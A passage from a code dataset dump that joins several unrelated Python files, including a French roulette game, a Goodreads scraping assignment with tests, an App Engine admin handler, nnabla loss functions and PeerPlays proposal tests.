100:\r\n bar.update()\r\n time.sleep(0.02)\r\n\r\n i += 1\r\n\r\n\"\"\"\r\nFin du second chargement, mettre ensuite le code du jeu\r\n\"\"\"\r\n\r\n\r\nargent = 1000\r\n\r\ncontinuer_partie = True\r\n\r\nprint(\" Bonjour, vous arrivez à la table de roulette avec la somme de\", argent, \"€.\")\r\n\r\nwhile continuer_partie: # Tant qu'on doit continuer la partie\r\n\r\n nombre_mise = -1\r\n\r\n while nombre_mise < 0 or nombre_mise > 49:\r\n\r\n nombre_mise = input(\"Tapez le nombre sur lequel vous voulez miser (entre 0 et 49) : \")\r\n\r\n try:\r\n\r\n nombre_mise = int(nombre_mise)\r\n\r\n except ValueError:\r\n\r\n print(\"Erreur : Vous n'avez pas saisi de nombre\")\r\n\r\n nombre_mise = -1\r\n\r\n continue\r\n\r\n if nombre_mise < 0:\r\n\r\n print(\"Erreur : Ce nombre est négatif\")\r\n\r\n if nombre_mise > 49:\r\n\r\n print(\"Erreur : ce nombre est sup��rieur à 49\")\r\n\r\n mise = 0\r\n\r\n while mise <= 0 or mise > argent:\r\n\r\n mise = input(\"Combien voulez vous miser ? : \")\r\n\r\n try:\r\n\r\n mise = int(mise)\r\n\r\n except ValueError:\r\n\r\n print(\"Erreur : vous n'avez pas saisi de nombre\")\r\n\r\n mise = -1\r\n\r\n continue\r\n\r\n if mise <= 0:\r\n\r\n print(\"Erreur : la mise saisie est négative ou nulle.\")\r\n\r\n if mise > argent:\r\n\r\n print(\"Vous n'avez pas assez d'argent haha vous ne pouvez miser que\", argent, \"€\")\r\n\r\n numero_gagnant = randrange(50)\r\n\r\n print(\"La roulette tourne... ... et s'arrête sur le numéro\", numero_gagnant)\r\n\r\n if numero_gagnant == nombre_mise:\r\n\r\n print(\"Bravo vous avez gagné ! Vous obtenez\", mise * 3, \"€ !\")\r\n\r\n argent += mise * 3\r\n\r\n elif numero_gagnant % 2 == nombre_mise % 2:\r\n\r\n mise = ceil(mise * 0.5)\r\n\r\n print(\"Vous avez misé sur la bonne couleur, bien joué ! . Vous obtenez\", mise, \"€\")\r\n\r\n argent += mise\r\n\r\n else:\r\n\r\n print(\"Et c'est perdu ! C'est pas pour cette fois. Vous perdez votre mise.\")\r\n\r\n argent -= mise\r\n\r\n if argent <= 0:\r\n\r\n print(\"Vous êtes ruiné, haha ! C'est la fin de la partie, partez d'ici ! \")\r\n\r\n\r\n\r\n continuer_partie = False\r\n\r\n else:\r\n\r\n print(\"Vous avez à présent\", argent, \"€\")\r\n\r\n quitter = input(\"Souhaitez-vous quitter le casino (o/n) ? \")\r\n\r\n if quitter == \"o\" or quitter == \"O\":\r\n\r\n print(\"Vous quittez le casino avec vos gains.\")\r\n\r\n continuer_partie = False\r\n\r\n\r\n\r\n\r\nos.system(\"pause\")","sub_path":"roulette v2.1.py","file_name":"roulette v2.1.py","file_ext":"py","file_size_in_byte":6260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"335410117","text":"# -*- coding: utf-8 -*-\nimport os\nfrom datetime import timedelta\n\n\nBOUNCE_ASSET_DOC_TYPE = \"informationDetails\"\n\nINFORMATION_DETAILS = {\n 'title': 'Інформація про оприлюднення інформаційного повідомлення',\n 'url': 'https://prozorro.sale/info/ssp_details',\n 'documentOf': \"asset\",\n 'documentType': BOUNCE_ASSET_DOC_TYPE\n}\nRECTIFICATION_PERIOD_DURATION = timedelta(days=1)\nDEFAULT_ASSET_BOUNCE_TYPE = 'bounce'\n\nDECISION_EDITING_STATUSES = ['draft', 'pending']\n\n\nDEFAULT_LEVEL_OF_ACCREDITATION = {'create': [3],\n 'edit': [4]}\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nSNAPSHOTS_DIR = os.path.join(BASE_DIR, 'tests', 'snapshots')\n","sub_path":"openregistry/assets/bounce/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"523968770","text":"import csv\nimport json\n\nfile = open('iredout_s2', 'r')\ndict ={}\n\nres = []\ns2 =[]\nfor i in file :\n if i[0] != \"#\":\n res.append(i.split()[0])\n s2.append(i.split()[1])\n\ndict['res'] = res\ndict['s2'] = s2\n\nwith open('ired_res.json', 'w') as fp:\n json.dump(dict, fp)\n\n\n\n\n","sub_path":"src/main/webapp/resources/script/csv2json.py","file_name":"csv2json.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"136964971","text":"import datetime\nimport os\nimport urllib\nimport uuid\nimport webapp2\n\nfrom app import model\nfrom app import resources\nfrom django.template.loader import render_to_string\nfrom google.appengine.api import images\nfrom google.appengine.api import memcache\nfrom google.appengine.api import users\nfrom google.appengine.ext import blobstore\nfrom google.appengine.ext import db\nfrom google.appengine.ext.webapp import blobstore_handlers\n\nclass BlobHandler(blobstore_handlers.BlobstoreUploadHandler):\n def get(self):\n upload_url = blobstore.create_upload_url('/admin/blob')\n self.response.out.write('')\n self.response.out.write('
' % upload_url)\n self.response.out.write(\"\"\"Upload File:
\"\"\")\n \n def post(self):\n upload_files = self.get_uploads('file') # 'file' is file upload field in the form\n blob_info = upload_files[0]\n path = self.request.get(\"path\")\n resource = resources.ResourceHandler.create_or_update_resource(\"Image\", path, self.request)\n if not resource:\n self.error(412) # Precondition Failed\n self.response.out.write(\"parent folder not found for path '%s'\" % path)\n return\n \n resource.blob = blob_info\n # fetch enough data to figure out the size (do we need the size for anything?)\n image_data = blobstore.fetch_data(blob_info, 0, blobstore.MAX_BLOB_FETCH_SIZE - 1)\n image = images.Image(image_data=image_data)\n resource.width = image.width\n resource.height = image.height\n resource.title = os.path.basename(path)\n resource.put()\n self.redirect('/admin/blob')\n \n \nclass MainPage(webapp2.RequestHandler):\n def __init__(self, request, response):\n self.initialize(request, response)\n os.environ[\"DJANGO_SETTINGS_MODULE\"] = \"settings\"\n \n def get(self, path):\n # make sure we have a root resource\n root = model.Folder.all().filter(\"path =\", \"/\").get()\n if not root:\n root = model.Folder()\n root.path = \"/\"\n root.uuid = str(uuid.uuid1())\n root.author = users.get_current_user()\n root.put()\n \n templates = os.listdir(os.path.join(os.path.dirname(__file__), '..', 'templates'))\n template = \"admin.old.html\" if path.endswith(\"old\") else \"admin.html\"\n self.response.out.write(render_to_string(template, { \"resource\": { \"title\": \"Admin\" }, \"templates\": templates }))\n \n # HACK - sticking this here for now because I can\n def post(self):\n memcache.flush_all()\n self.response.out.write(\"flushed\")\n\napp = webapp2.WSGIApplication( [\n ('/admin/blob', BlobHandler),\n ('/admin/(.*)', MainPage)\n], debug=True)\n","sub_path":"app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"162569835","text":"import tornado.web\nimport math\n\nfrom pymongo import MongoClient\nfrom tornado.gen import coroutine\n\nimport constants\n\nclass SetCustomerRewardsHandler(tornado.web.RequestHandler):\n rewardsMap = {}\n\n def getTier(self, points):\n if(points > max(self.rewardsMap.keys())):\n return self.rewardsMap[max(self.rewardsMap.keys())]\n else: \n return self.rewardsMap[math.floor(points/100)*100]\n\n def getNextRewardsTierProgress(self, points):\n if(points > max(self.rewardsMap.keys())):\n return 1\n else: \n return (points - math.floor(points/100)*100) / 100\n\n def getRewardsMap(self, rewards):\n for reward in rewards:\n self.rewardsMap[reward[constants.pointsField]] = {'tier' : reward[constants.tierField], 'name' : reward[constants.rewardNameField]}\n \n @coroutine\n def post(self):\n email = self.get_argument(constants.emailAddressArgument)\n orderTotal = self.get_argument(constants.orderTotalArgument)\n \n client = MongoClient(constants.dbHost, 27017)\n db = client[constants.dbName]\n\n self.getRewardsMap(list(db[constants.rewardsCollection].find({}, {\"_id\": 0})))\n\n orderPoints = int(orderTotal)\n totalPoints = orderPoints\n \n returningCustomer = db[constants.customerRewardsCollection].find_one({ constants.emailAddressField : email })\n if(returningCustomer != None):\n totalPoints += int(returningCustomer[constants.rewardsPointsField])\n\n tier = self.getTier(totalPoints)\n nextTier = self.getTier(totalPoints + 100)\n\n db[constants.customerRewardsCollection].update({ constants.emailAddressField : email },\n { constants.emailAddressField : email,\n constants.rewardsPointsField : totalPoints,\n constants.rewardsTierField : tier[\"tier\"],\n constants.rewardsNameField : tier[\"name\"],\n constants.nextRewardsTierField : nextTier[\"tier\"],\n constants.nextRewardsTierNameField : nextTier[\"name\"],\n constants.nextRewardsTierProgressField : self.getNextRewardsTierProgress(totalPoints) },\n upsert=True )\n \n self.write(constants.setCustomerRewardsSuccessMsg)\n","sub_path":"source/RewardsService/rewardsservice/handlers/set_customer_rewards_handler.py","file_name":"set_customer_rewards_handler.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"286860205","text":"import sys\nimport random\nfrom Col import Col \nfrom lib import THE,Pretty,same,first,last,ordered\n\nclass Num(Col):\n\n def __init__(self, oid, pos, txt, mean, sd, m2, weight=1):\n self.oid = oid\n self.pos = pos\n self.txt = txt\n self.lo = 10 ** 32\n self.hi = -1 * self.lo\n self.mean = mean\n self.sd = sd\n self.m2 = m2\n self.count = 0\n self.numList = []\n self.weight = weight\n\n def addToNum(self, num):\n self.lo = self.lo if self.lo < num else num\n self.hi = self.hi if self.hi > num else num\n self.numList.append(num)\n self.updateMeanAndSdAdd(num)\n\n def removeLastNum(self):\n oldVal = self.numList[-1]\n del self.numList[-1]\n self.updateMeanAndSdRemove(oldVal)\n\n def removeFirstNum(self):\n oldVal = self.numList[0]\n del self.numList[0]\n self.updateMeanAndSdRemove(oldVal)\n\n def updateMeanAndSdAdd(self, newVal):\n\n self.count += 1\n delta = newVal - self.mean\n self.mean += delta / self.count\n delta2 = newVal - self.mean\n self.m2 += delta * delta2\n\n if self.m2 <= 0:\n self.sd = 0\n elif self.count < 2:\n self.sd = 0\n else:\n self.sd = (self.m2/(self.count - 1)) ** 0.5\n\n def updateMeanAndSdRemove(self, oldVal):\n\n if self.count < 2:\n self.sd = 0\n return\n\n self.count -= 1\n\n delta = oldVal - self.mean\n self.mean -= delta / self.count\n self.m2 -= delta * (oldVal - self.mean)\n\n if self.m2 < 0 or self.count < 2:\n self.sd = 0\n else:\n self.sd = (self.m2/(self.count - 1)) ** 0.5\n\n def NumLike(self, x):\n\n var = self.sd ** 2\n denom = (3.14159 * 2 * var) ** 0.5\n first_num = x - self.mean\n total = first_num / (self.sd + 0.01)\n squared = total ** 2\n squared = - squared / 2\n num = 2.71828 ** squared\n return num/(denom + 10 ** -64)\n\n def variety(self):\n return self.sd\n\n def xpect(self, other):\n n = self.count + other.count + 0.0001\n return self.count/n * self.sd + other.count/n * other.sd;\n\n def dist(self, val1, val2):\n \"Calculate distance between 2 rows\"\n norm = lambda z: (z - self.lo) / (self.hi - self.lo + 10 ** -32)\n if val1 == THE.char.skip:\n if val2 == THE.char.skip: return 1\n val2 = norm(val2)\n val1 = 0 if val2 > 0.5 else 1\n else:\n val1 = norm(val1)\n if val2 == THE.char.skip:\n val2 = 0 if val1 > 0.5 else 1\n else:\n val2 = norm(val2)\n return abs(val1 - val2)\n\n def norm(self, value):\n\n return (value - self.lo ) / (self.hi - self.lo + 0.00001)\n\n","sub_path":"hw/8/Num.py","file_name":"Num.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"312131755","text":"# Name: Annie Rauwerda\n# Student ID: 61846830\n# Email: annierau@umich.edu\n# Partner: Renuka Murthi\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\nimport os\nimport csv\nimport unittest\n\n\ndef get_titles_from_search_results(filename):\n \"\"\"\n Write a function that creates a BeautifulSoup object on \"search_results.htm\". Parse\n through the object and return a list of tuples containing book titles (as printed on the Goodreads website) \n and authors in the format given below. Make sure to strip() any newlines from the book titles and author names.\n\n [('Book title 1', 'Author 1'), ('Book title 2', 'Author 2')...]\n \"\"\"\n with open(os.path.join(os.path.abspath(os.path.dirname(__file__)), filename), 'r') as f:\n fyle = f.read()\n soup = BeautifulSoup(fyle, 'html.parser')\n titles = soup.find_all('a', class_ = 'bookTitle')\n authors = soup.find_all('span', itemprop = 'author')\n t = []\n a = []\n for x in titles:\n t.append(x.text.strip())\n for x in authors:\n a.append(x.text.strip())\n \n # print(len(a))\n # print(a)\n tuplz = zip(t,a)\n tupls = list(tuplz)\n # print(tupls)\n return tupls\n\n \n\ndef get_search_links():\n \"\"\"\n Write a function that creates a BeautifulSoup object after retrieving content from\n \"https://www.goodreads.com/search?q=fantasy&qid=NwUsLiA2Nc\". Parse through the object and return a list of\n URLs for each of the first ten books in the search using the following format:\n\n ['https://www.goodreads.com/book/show/84136.Fantasy_Lover?from_search=true&from_srp=true&qid=NwUsLiA2Nc&rank=1', ...]\n\n Notice that you should ONLY add URLs that start with \"https://www.goodreads.com/book/show/\" to \n your list, and , and be sure to append the full path to the URL so that the url is in the format \n “https://www.goodreads.com/book/show/kdkd\".\n \"\"\"\n \n\n lst = []\n r = requests.get('https://www.goodreads.com/search?q=fantasy&qid=NwUsLiA2Nc')\n soup = BeautifulSoup(r.text, 'html.parser')\n lst2 = soup.find('div', class_='leftContainer')\n lst3 = lst2.find_all('a', class_='bookTitle')\n\n for x in lst3:\n y = x.get('href')\n if y.startswith('/book/show'):\n lst.append('https://www.goodreads.com' + y)\n \n lst4 = lst[:10]\n return lst4\n\n\ndef get_book_summary(book_url):\n \"\"\"\n Write a function that creates a BeautifulSoup object that extracts book\n information from a book's webpage, given the URL of the book. Parse through\n the BeautifulSoup object, and capture the book title, book author, and number \n of pages. This function should return a tuple in the following format:\n\n ('Some book title', 'the book's author', number of pages)\n\n HINT: Using BeautifulSoup's find() method may help you here.\n You can easily capture CSS selectors with your browser's inspector window.\n Make sure to strip() any newlines from the book title and number of pages.\n \"\"\"\n r = requests.get(book_url)\n soup = BeautifulSoup(r.text, 'html.parser')\n tit = soup.find('h1', class_ = 'gr-h1 gr-h1--serif').text.strip()\n auth = soup.find('a', class_ = 'authorName').text.strip()\n pages = soup.find(\"span\", itemprop = \"numberOfPages\").text.strip()\n pg = pages[:-6]\n pg = int(pg)\n return (tit, auth, pg)\n\n\ndef summarize_best_books(filepath):\n \"\"\"\n Write a function to get a list of categories, book title and URLs from the \"BEST BOOKS OF 2020\"\n page in \"best_books_2020.htm\". This function should create a BeautifulSoup object from a \n filepath and return a list of (category, book title, URL) tuples.\n \n \"\"\"\n with open(os.path.join(os.path.abspath(os.path.dirname(__file__)), filepath), 'r', encoding=\"utf8\") as f:\n fyle = f.read()\n soup = BeautifulSoup(fyle, 'html.parser')\n\n lst = []\n lst2 = soup.find_all('h4')\n \n for x in lst2:\n lst.append(x.text.strip())\n\n lst3 = []\n lst4 = soup.find_all('div', class_='category__winnerImageContainer') \n for x in lst4:\n title = x.find('img')['alt']\n lst3.append(title)\n \n lst5 = []\n # lst6 = soup.find_all('a', href=True)\n # for a in lst6:\n # if a.text:\n # a = a.get('href')\n # url = lst6[a]\n # if url.find(\"https://www.goodreads.com/\") >= 0:\n # print(url)\n\n\n lst6 = soup.find_all('div', class_='category clearFix')\n lst7 = []\n for x in lst6:\n y = x.find('a')['href']\n lst5.append(y)\n\n \n for x, y, z in zip(lst, lst3, lst5):\n tupl = (x, y, z)\n lst7.append(tupl)\n return lst7\n\n\ndef write_csv(data, filename):\n \"\"\"\n Write a function that takes in a list of tuples (called data, i.e. the\n one that is returned by get_titles_from_search_results()), writes the data to a \n csv file, and saves it to the passed filename.\n\n The first row of the csv should contain \"Book Title\" and \"Author Name\", and\n respectively as column headers. For each tuple in data, write a new\n row to the csv, placing each element of the tuple in the correct column.\n\n When you are done your CSV file should look like this:\n\n Book title,Author Name\n Book1,Author1\n Book2,Author2\n Book3,Author3\n ......\n\n This function should not return anything.\n \"\"\"\n\n with open(os.path.join(os.path.abspath(os.path.dirname(__file__)), filename), 'w', newline='', encoding='utf-8') as f:\n x = csv.writer(f, delimiter = ',')\n x.writerow(['Book Title', 'Author Name'])\n for y in data:\n x.writerow(y)\n\ndef extra_credit(filepath):\n \"\"\"\n EXTRA CREDIT\n\n Please see the instructions document for more information on how to complete this function.\n You do not have to write test cases for this function.\n \"\"\"\n pass\n\nclass TestCases(unittest.TestCase):\n \n # call get_search_links() and save it to a static variable: search_urls\n search_urls = get_search_links()\n \n \n def test_get_titles_from_search_results(self):\n # call get_titles_from_search_results() on search_results.htm and save to a local variable\n results = get_titles_from_search_results(\"search_results.htm\")\n # check that the number of titles extracted is correct (20 titles)\n self.assertEqual(len(results), 20)\n # check that the variable you saved after calling the function is a list\n self.assertTrue(type(results) is list)\n # check that each item in the list is a tuple\n for x in results:\n self.assertTrue(type(x) is tuple)\n # check that the first book and author tuple is correct (open search_results.htm and find it)\n self.assertEqual(results[0], ('Harry Potter and the Deathly Hallows (Harry Potter, #7)', 'J.K. Rowling'))\n # check that the last title is correct (open search_results.htm and find it)\n self.assertEqual(results[-1], ('Harry Potter: The Prequel (Harry Potter, #0.5)', 'J.K. Rowling'))\n \n \n def test_get_search_links(self):\n # check that TestCases.search_urls is a list\n self.assertTrue(type(TestCases.search_urls) is list)\n # check that the length of TestCases.search_urls is correct (10 URLs)\n self.assertEqual(len(TestCases.search_urls), 10)\n # check that each URL in the TestCases.search_urls is a string\n for x in TestCases.search_urls:\n self.assertTrue(type(x) is str)\n # check that each URL contains the correct url for Goodreads.com followed by /book/show/\n for x in TestCases.search_urls:\n reg = 'https://www.goodreads.com/book/show'\n self.assertEqual(bool(re.match(reg, x)), True)\n \n \n def test_get_book_summary(self):\n # create a local variable – summaries – a list containing the results from get_book_summary()\n # for each URL in TestCases.search_urls (should be a list of tuples)\n lst = []\n for x in TestCases.search_urls:\n y = get_book_summary(x)\n lst.append(y)\n # check that the number of book summaries is correct (10)\n self.assertEqual(len(lst), 10)\n # check that each item in the list is a tuple\n for x in lst:\n self.assertTrue(type(x) is tuple)\n # check that each tuple has 3 elements\n for x in lst:\n self.assertEqual(len(x), 3)\n # check that the first two elements in the tuple are string\n for x in lst:\n self.assertTrue(type(x[0]) is str)\n self.assertTrue(type(x[1]) is str)\n # check that the third element in the tuple, i.e. pages is an int\n for x in lst:\n self.assertTrue(type(x[2]) is int)\n # check that the first book in the search has 337 pages\n firstbook = lst[0]\n self.assertTrue(firstbook[2] == 337)\n \n \n def test_summarize_best_books(self):\n # call summarize_best_books and save it to a variable\n bestbooks = summarize_best_books(\"best_books_2020.htm\")\n # check that we have the right number of best books (20)\n self.assertEqual(len(bestbooks), 20)\n # assert each item in the list of best books is a tuple\n for book in bestbooks:\n self.assertIsInstance(book, tuple)\n # check that each tuple has a length of 3\n for book in bestbooks:\n self.assertEqual(len(book), 3)\n # check that the first tuple is made up of the following 3 strings:'Fiction', \"The Midnight Library\", 'https://www.goodreads.com/choiceawards/best-fiction-books-2020'\n self.assertEqual(bestbooks[0], ('Fiction', 'The Midnight Library', 'https://www.goodreads.com/choiceawards/best-fiction-books-2020'))\n # check that the last tuple is made up of the following 3 strings: 'Picture Books', 'Antiracist Baby', 'https://www.goodreads.com/choiceawards/best-picture-books-2020'\n self.assertEqual(bestbooks[-1], ('Picture Books', 'Antiracist Baby', 'https://www.goodreads.com/choiceawards/best-picture-books-2020'))\n \n def test_write_csv(self):\n # call get_titles_from_search_results on search_results.htm and save the result to a variable\n var = get_titles_from_search_results('search_results.htm')\n # call write csv on the variable you saved and 'test.csv'\n write_csv(var, 'test.csv')\n # read in the csv that you wrote (create a variable csv_lines - a list containing all the lines in the csv you just wrote to above)\n csv_lines = []\n with open(os.path.join(os.path.abspath(os.path.dirname(__file__)), 'test.csv'), 'r') as f:\n reader = csv.reader(f)\n for x in reader:\n csv_lines.append(x)\n # check that there are 21 lines in the csv\n self.assertEqual(len(csv_lines), 21)\n # check that the header row is correct\n self.assertEqual(csv_lines[0], ['Book Title','Author Name'])\n # check that the next row is 'Harry Potter and the Deathly Hallows (Harry Potter, #7)', 'J.K. Rowling'\n self.assertEqual(csv_lines[1], ['Harry Potter and the Deathly Hallows (Harry Potter, #7)', 'J.K. Rowling'])\n # check that the last row is 'Harry Potter: The Prequel (Harry Potter, #0.5)', 'J.K. Rowling'\n self.assertEqual(csv_lines[-1], ['Harry Potter: The Prequel (Harry Potter, #0.5)', 'J.K. Rowling'])\n \n \nif __name__ == '__main__':\n #print(extra_credit(\"extra_credit.htm\"))\n unittest.main(verbosity=2)\n # get_titles_from_search_results(\"search_results.htm\")\n\n","sub_path":"Project2.py","file_name":"Project2.py","file_ext":"py","file_size_in_byte":11369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"103568338","text":"# Copyright (c) 2019 Sony Corporation. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport numpy as np\n\nimport nnabla as nn\nimport nnabla.functions as F\n\n\n##############################################\n# classification/regression\n##############################################\ndef sigmoid_ce(logits, value, mask=None, eps=1e-5):\n # sigmoid cross entropy and reduce_mean\n sce = F.sigmoid_cross_entropy(\n logits, F.constant(val=value, shape=logits.shape))\n\n if mask is not None:\n assert sce.shape[:2] == mask.shape[:2]\n\n sce *= F.reshape(mask, sce.shape)\n\n return F.sum(sce) / (F.sum(mask) + eps)\n\n return F.mean(sce)\n\n\ndef softmax_ce(logits, targets, mask=None, eps=1e-5):\n # softmax cross entropy and reduce_mean\n assert logits.shape[:-1] == targets.shape[:-1]\n assert targets.shape[-1] == 1\n\n sce = F.softmax_cross_entropy(logits, targets)\n\n if mask is not None:\n assert sce.shape[:2] == mask.shape[:2]\n\n sce *= F.reshape(mask, sce.shape)\n\n return F.sum(sce) / (F.sum(mask) + eps)\n\n return F.mean(sce)\n\n\ndef mae(x, y, mask=None, eps=1e-5):\n # l1 distance and reduce mean\n ae = F.absolute_error(x, y)\n\n if mask is not None:\n assert ae.shape[:2] == mask.shape[:2]\n\n ae *= F.reshape(mask, ae.shape)\n\n return F.sum(ae) / (F.sum(mask) + eps)\n\n return F.mean(ae)\n\n\ndef mse(x, y, mask=None, eps=1e-5):\n # l2 distance and reduce mean\n se = F.squared_error(x, y)\n\n if mask is not None:\n assert se.shape[:2] == mask.shape[:2]\n\n se *= F.reshape(mask, se.shape)\n\n return F.sum(se) / (F.sum(mask) + eps)\n\n return F.mean(se)\n\n\n###############################################\n# variational\n###############################################\n\ndef kl_snd(mu, logvar):\n # kl divergence with standard normal distribution\n\n return F.sum(F.pow_scalar(mu, 2) + F.exp(logvar) - logvar - 1) / 2\n\n\n##############################################\n# GAN loss\n##############################################\n\n\ndef ls_gan_loss(r_out, f_out):\n # todo: set constant arbitrary\n # D\n d_gan_real = F.mean(F.squared_error(r_out,\n F.constant(1., shape=r_out.shape)))\n d_gan_fake = F.mean(F.squared_error(f_out,\n F.constant(0., shape=f_out.shape)))\n\n # G\n g_gan = F.mean(F.squared_error(f_out,\n F.constant(1., shape=f_out.shape)))\n\n return d_gan_real, d_gan_fake, g_gan\n\n\ndef hinge_gan_loss(r_out, f_out):\n # D\n d_gan_real = F.mean(F.relu(1. - r_out))\n d_gan_fake = F.mean(F.relu(1. + f_out))\n\n # G\n g_gan = -1 * F.mean(f_out)\n\n return d_gan_real, d_gan_fake, g_gan\n\n\ndef get_gan_loss(type):\n gan_loss_dict = {\n \"ls\": ls_gan_loss,\n \"hinge\": hinge_gan_loss\n }\n\n gan_loss = gan_loss_dict.get(type, None)\n\n if gan_loss is None:\n raise ValueError(\"unsupported gan loss type: {}\".format(type))\n\n return gan_loss\n\n\ndef vgg16_perceptual_loss(fake, real):\n '''VGG perceptual loss based on VGG-16 network.\n\n Assuming the values in fake and real are in [0, 255].\n\n Features are obtained from all ReLU activations of the first convolution\n after each downsampling (maxpooling) layer\n (including the first convolution applied to an image).\n '''\n from nnabla.models.imagenet import VGG16\n\n class VisitFeatures(object):\n def __init__(self):\n self.features = []\n self.relu_counter = 0\n self.features_at = set([0, 2, 4, 7, 10])\n\n def __call__(self, f):\n # print(f.name, end='')\n if not f.name.startswith('ReLU'):\n # print('')\n return\n if self.relu_counter in self.features_at:\n self.features.append(f.outputs[0])\n # print('*', end='')\n # print('')\n self.relu_counter += 1\n\n # We use VGG16 model instead of VGG19 because VGG19\n # is not in nnabla.models.\n vgg = VGG16()\n\n def get_features(x):\n o = vgg(x, use_up_to='lastconv')\n f = VisitFeatures()\n o.visit(f)\n return f\n\n with nn.parameter_scope(\"vgg16_loss\"):\n fake_features = get_features(fake)\n real_features = get_features(real)\n\n volumes = np.array([np.prod(f.shape)\n for f in fake_features.features], dtype=np.float32)\n weights = volumes[-1] / volumes\n return sum([w * F.mean(F.absolute_error(ff, fr)) for w, ff, fr in zip(weights, fake_features.features, real_features.features)])\n","sub_path":"utils/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":5116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"424935593","text":"from sqlalchemy import Column, Integer, String, ForeignKey\nfrom base import Base\nfrom aulas import Aula\n\nclass Avaliacoes(Base):\n\t__tablename__ = 'avaliacoes'\n\n\tid_avaliacao = Column(Integer, primary_key=True)\n\tnota = Column(Integer)\n\tavaliacao = Column(String)\n\taulas_id_aulas = Column(Integer, ForeignKey('aulas.id_aulas'))\n\n\nclass AllAvaliacoes():\n\t\n\tdef __init__(self, session):\n\t\tself.session = session\n\n\tdef create(self, nota, avaliacao, aulas_id_aulas):\n\t\tnova_avaliacao = Avaliacoes()\n\t\tnova_avaliacao.nota = nota\n\t\tnova_avaliacao.avaliacao = avaliacao\n\t\tnova_avaliacao.aulas_id_aulas = aulas_id_aulas\n\t\tself.session.add(nova_avaliacao)\n\t\tself.session.commit()\n\n\tdef read(self, id):\n\t\tavaliacao = self.session.query(Avaliacoes).filter_by(id_avaliacaos = id).first()\n\t\treturn avaliacao\n","sub_path":"avaliacoes.py","file_name":"avaliacoes.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"2976828","text":"import unittest\nfrom pprint import pprint\nfrom peerplays import PeerPlays\nfrom peerplaysbase.operationids import getOperationNameForId\nfrom peerplays.instance import set_shared_peerplays_instance\nfrom .fixtures import fixture_data, peerplays, core_unit\n\n\nclass Testcases(unittest.TestCase):\n\n def setUp(self):\n fixture_data()\n\n def test_finalizeOps_proposal(self):\n # proposal = peerplays.new_proposal(peerplays.tx())\n proposal = peerplays.proposal()\n peerplays.transfer(\"init1\", 1, core_unit, append_to=proposal)\n tx = peerplays.tx().json() # default tx buffer\n ops = tx[\"operations\"]\n self.assertEqual(len(ops), 1)\n self.assertEqual(\n getOperationNameForId(ops[0][0]),\n \"proposal_create\")\n prop = ops[0][1]\n self.assertEqual(len(prop[\"proposed_ops\"]), 1)\n self.assertEqual(\n getOperationNameForId(prop[\"proposed_ops\"][0][\"op\"][0]),\n \"transfer\")\n\n def test_finalizeOps_proposal2(self):\n proposal = peerplays.new_proposal()\n # proposal = peerplays.proposal()\n peerplays.transfer(\"init1\", 1, core_unit, append_to=proposal)\n tx = peerplays.tx().json() # default tx buffer\n ops = tx[\"operations\"]\n self.assertEqual(len(ops), 1)\n self.assertEqual(\n getOperationNameForId(ops[0][0]),\n \"proposal_create\")\n prop = ops[0][1]\n self.assertEqual(len(prop[\"proposed_ops\"]), 1)\n self.assertEqual(\n getOperationNameForId(prop[\"proposed_ops\"][0][\"op\"][0]),\n \"transfer\")\n\n def test_finalizeOps_combined_proposal(self):\n parent = peerplays.new_tx()\n proposal = peerplays.new_proposal(parent)\n peerplays.transfer(\"init1\", 1, core_unit, append_to=proposal)\n peerplays.transfer(\"init1\", 1, core_unit, append_to=parent)\n tx = parent.json()\n ops = tx[\"operations\"]\n self.assertEqual(len(ops), 2)\n self.assertEqual(\n getOperationNameForId(ops[0][0]),\n \"proposal_create\")\n self.assertEqual(\n getOperationNameForId(ops[1][0]),\n \"transfer\")\n prop = ops[0][1]\n self.assertEqual(len(prop[\"proposed_ops\"]), 1)\n self.assertEqual(\n getOperationNameForId(prop[\"proposed_ops\"][0][\"op\"][0]),\n \"transfer\")\n\n def test_finalizeOps_changeproposer_new(self):\n proposal = peerplays.proposal(proposer=\"init5\")\n peerplays.transfer(\"init1\", 1, core_unit, append_to=proposal)\n tx = peerplays.tx().json()\n ops = tx[\"operations\"]\n self.assertEqual(len(ops), 1)\n self.assertEqual(\n getOperationNameForId(ops[0][0]),\n \"proposal_create\")\n prop = ops[0][1]\n self.assertEqual(len(prop[\"proposed_ops\"]), 1)\n self.assertEqual(prop[\"fee_paying_account\"], \"1.2.12\")\n self.assertEqual(\n getOperationNameForId(prop[\"proposed_ops\"][0][\"op\"][0]),\n \"transfer\")\n\n def test_finalizeOps_changeproposer_legacy(self):\n peerplays.proposer = \"init5\"\n tx = peerplays.transfer(\"init1\", 1, core_unit)\n ops = tx[\"operations\"]\n self.assertEqual(len(ops), 1)\n self.assertEqual(\n getOperationNameForId(ops[0][0]),\n \"proposal_create\")\n prop = ops[0][1]\n 